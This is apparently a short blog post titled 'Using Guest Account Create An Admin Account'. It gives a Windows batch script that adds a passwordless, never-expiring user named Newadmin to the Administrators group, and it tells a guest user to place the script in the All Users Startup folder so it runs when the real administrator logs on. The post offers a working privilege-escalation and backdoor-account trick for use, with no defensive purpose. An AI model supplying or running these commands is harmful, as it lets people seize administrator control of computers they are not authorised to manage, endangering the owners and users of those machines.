Using Guest Account Create An Admin Account
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin
Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
0 comments:
Post a Comment